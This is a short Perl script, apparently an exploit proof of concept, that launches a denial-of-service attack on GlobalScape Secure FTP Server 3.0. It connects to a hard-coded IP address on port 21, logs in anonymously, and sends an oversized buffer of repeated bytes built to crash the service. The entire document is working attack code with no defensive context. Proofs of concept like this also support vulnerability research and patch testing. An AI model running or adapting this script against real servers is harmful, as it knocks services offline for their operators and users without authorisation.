#!/usr/bin/perl
use strict;
use IO::Socket;

print "GlobalScape Secure FTP Server 3.0 - Denial of Service     \n";

my $payload = "\x41\x42\x0a\x00"x147;

my $buffer = "\x41"x2043 . "\x41\x42\x43\x00" . "\x42"x36 . $payload;

my $sock = IO::Socket::INET->new(PeerAddr => '192.168.0.10', PeerPort => 21, Proto => 'tcp');
if ($sock) {
    print "[+] Connected to FTP server\n";
    print "[+] Sending Username\n";
    print $sock "USER anonymous\r\n";
    print "[+] Sending Password\n";
    print $sock "PASS anonymous\r\n";
    print "[+] Sending payload to exploit \nn";
    print $sock $buffer . "\r\n";
    print "[+] Exploit!\n";
    close($sock);
} else {
    print "Can't connect to FTP\n";
}